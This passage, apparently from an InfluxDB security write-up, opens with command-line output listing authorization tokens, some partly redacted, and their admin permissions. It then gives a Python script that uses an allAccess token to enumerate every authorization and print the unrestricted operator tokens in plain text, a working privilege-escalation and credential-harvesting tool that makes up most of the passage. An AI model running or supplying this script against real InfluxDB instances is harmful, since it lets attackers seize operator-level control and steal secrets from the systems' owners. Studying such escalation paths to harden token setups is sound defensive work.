write:orgs/87d0746948a3b3f5/replications]

# Listing all available tokens passing allAccess token and retrieving only
operator level tokens
influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs

0cbb920e128e5000 gerKYLO0Ph_ibUk0y{REDACTED}
admin 0cb9c92ee228b000 [read:/authorizations write:/authorizations
read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs
write:/orgs read:/sources write:/sources read:/tasks write:/tasks
read:/telegrafs write:/telegrafs read:/users write:/users read:/variables
write:/variables read:/scrapers write:/scrapers read:/secrets
write:/secrets read:/labels write:/labels read:/views write:/views
read:/documents write:/documents read:/notificationRules
write:/notificationRules read:/notificationEndpoints
write:/notificationEndpoints read:/checks write:/checks read:/dbrp
write:/dbrp read:/notebooks write:/notebooks read:/annotations
write:/annotations read:/remotes write:/remotes read:/replications
write:/replications]

influxdb_client==1.41.0

import influxdb_client
import argparse
import logging
import sys

argParser = argparse.ArgumentParser()
argParser.add_argument("-t", "--token", type=str, help="Custom or allAccess token to access influx DB instance")
argParser.add_argument("-e", "--endpointUrl", type=str, help="Endpoint Url of influxdb instance (ex. \"https://myInfluxdbInstance:8086/\")")
argParser.add_argument("-v", "--verbose", type=bool, const=True, nargs='?', help="Enable verbose logging - INFO")
argParser.add_argument("-vv", "--vverbose", type=bool, const=True, nargs='?', help="Enable verbose logging - DEBUG")

args = argParser.parse_args()

# Using user retrieved values or default (hardcoded) ones
all_access_token = "<allAccessToken>"
influx_endpoint_url = "<influxdbEndpointUrl>"

# Defining some colors
red = "\033[31m"
yellow = "\033[93m"
purple = "\33[1;95m"
green = "\033[0;92m"
cyan = "\033[96m"
bold ="\033[1m"
endc = "\033[39m"

if args.vverbose == True:
    logging.basicConfig(level=logging.DEBUG)
elif args.verbose == True:
    logging.basicConfig(level=logging.INFO)

logger = logging.getLogger()

if args.token:
    token = args.token
else:
    logger.debug(f"{yellow}User did not set a token, using default one{endc}")
    token = all_access_token

if args.endpointUrl:
    endpointUrl = args.endpointUrl
else:
    logger.debug(f"{yellow}User did not set an endpoint Url for influxdb, using default one{endc}")
    endpointUrl = influx_endpoint_url

logger.info(f"{cyan}Connecting to influx DB instance{endc}")
# Connecting to influxdb instance 
try:
    conn = influxdb_client.InfluxDBClient(
                url=endpointUrl,
                token=token,
                debug=False,
                verify_ssl=True
            )

    # Verify InfluxDB connection
    health = conn.ping()
    if not health:
        logger.error(f"{red}Unable to connect to db instace " + endpointUrl + f"{endc}") 
        print(f"{red}Quitting execution...{endc}")
        sys.exit(1)

except Exception as e:
    logger.error(f"{red}Failed to connect to db instance: " + endpointUrl + " Error: " + str(e) + f"{endc}")
    print(f"{red}Quitting execution...{endc}")
    sys.exit(1)

# Retrieving all current auths
logger.debug(f"{yellow}Retrieving all auth tokens{endc}")
print(f"{cyan}Enumerating current authorizations...{endc}")
try:
    auths = conn.authorizations_api().find_authorizations()
except Exception as e:
    logger.error(f"{red}Unable to retrieve authorizations. ERR: " + str(e) +f"{endc}")
    print(f"{red}Unable to retrieve authorizations. Quitting...{endc}")
    sys.exit(1)
if not auths:
    print(f"{cyan}No Authorization tokens found on the instance{endc}")
    sys.exit(1)
print(f"{cyan}{str(len(auths))} tokens found on the instance{endc}\n")
# Extracting operator token -> Parsing permissions to look for ("org = None" and "authType = write/auths"), not 100% efficiency -> TO OPTIMIZE
logger.debug(f"{yellow}Parsing auth permissions to retrieve operator tokens{endc}")
print(f"{cyan}Enumerating all operator tokens:{endc}")
op_tokens = []
# In order to understand if a token is of type "operator" we need to enumerate all permissions and look for "write/auths" on org 'None' -> Unrescticted access
try:
    for auth in auths:
        if auth.permissions:
            for perm in auth.permissions:
                if perm.action == "write" and perm.resource.org == None and perm.resource.type == "authorizations":
                    op_tokens.append(auth.token)
except Exception as e:
    logger.error(f"{red}Unable to parse permissions on found authorizations. ERR: " + str(e) + f"{endc}")
    print(f"{red}Unable to parse permissions on found authorizations. Quitting execution...{endc}")
    sys.exit(1)

logger.info(f"{cyan}Printing all operator auth tokens{endc}")
print(f"{cyan}{str(len(op_tokens))} operator tokens found.\n\nListing all operator tokens:\n{endc}")
for op_t in op_tokens:
    print(f"{green}{op_t}{endc}")